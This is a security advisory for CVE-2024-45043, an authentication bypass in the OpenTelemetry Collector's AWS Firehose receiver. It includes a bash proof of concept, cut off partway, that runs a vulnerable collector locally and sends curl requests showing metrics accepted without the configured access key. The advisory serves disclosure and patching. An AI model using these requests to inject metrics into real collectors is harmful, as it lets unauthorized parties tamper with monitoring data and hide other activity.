OpenTelemetry: AWS Firehose Receiver Vulnerability
Medium5.3CVE-2024-45043 · Published Oct 1, 2024
### Summary OpenTelemetry Collector module [awsfirehosereceiver](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key. ### Severity Moderate - There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. ### Proof of Concept When simulating Firehose requests against vulnerable versions of the collector, we can see "UNAUTHORIZED METRICS" printed to the console via the debug exporter. Note this script doesn't run on older still-vulnerable versions that do not have the "debug" exporter. ```bash...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Collector Product | >= v0.49.0, < v0.108.0 | v0.108.0 |
Details and references
### Summary OpenTelemetry Collector module [awsfirehosereceiver](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key. ### Severity Moderate - There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. ### Proof of Concept When simulating Firehose requests against vulnerable versions of the collector, we can see "UNAUTHORIZED METRICS" printed to the console via the debug exporter. Note this script doesn't run on older still-vulnerable versions that do not have the "debug" exporter. ```bash #!/bin/bash OTELCOL_VERSION=0.107.0 OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}" OTELCOL_PLATFORM="linux_amd64" HOST_PORT=8081 cat > config.yaml << END # https://opentelemetry.io/docs/collector/configuration/ exporters: debug: verbosity: normal receivers: awsfirehose: endpoint : "127.0.0.1:${HOST_PORT}" record_type : "cwmetrics" access_key : "1234" service: pipelines: metrics: receivers: - awsfirehose exporters: - debug telemetry: logs: encoding: "json" level: "debug" END if [ ! -x "${OTELCOL_BINARY}" ]; then curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib mv otelcol-contrib ${OTELCOL_BINARY} fi "./${OTELCOL_BINARY}" --config=config.yaml & OTELCOL_PID=$! echo "Running OTel Collector with PID ${OTELCOL_PID}" sleep 3 # Send metrics with correct access key if ! curl --fail \ -H "Content-Type: application/json"\ -H "X-Amz-Firehose-Request-Id: requestId-valid"\ -H "X-Amz-Firehose-Access-Key: 1234"\ --data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\ http://127.0.0.1:${HOST_PORT} then echo "Reqeust with valid access did not succeed" kill ${OTELCOL_PID} exit 1 fi # Send metrics with incorrect access key if curl --fail \ -H "Content-Type: application/json"\ -H "X-Amz-Firehose-Request-Id: requestId-invalid"\ -H "X-Amz-Firehose-Access-Key: 5678"\ --data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\ http://127.0.0.1:${HOST_PORT} then echo "Request succeeded with invalid access key" kill ${OTELCOL_PID} exit 1 fi # Send unauthorized metrics without an access key if curl -
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Oct 222024 | LibRaw: Uninitialized memory disclosure via LibRaw_buffer_datastream::read | High | No fix yet |
| Oct 222024 | LibRaw: Out of bounds write in LibRaw::pana_data | High | No fix yet |
| Sep 132024 | Eaton: Hardcoded SSH root password in XC-303 firmware | Critical9.1 | 3.5.17Build715 |
| Sep 62024 | Pi-hole: Web Authentication ByPass | High | No fix yet |
| Aug 292024 | Lightdash - Stored Cross-Site Scripting | High8.7 | 0.1042.2 |
| Aug 292024 | Lightdash - Server-Side Request Forgery Session Takeover | High7.3 | 0.1027.2 |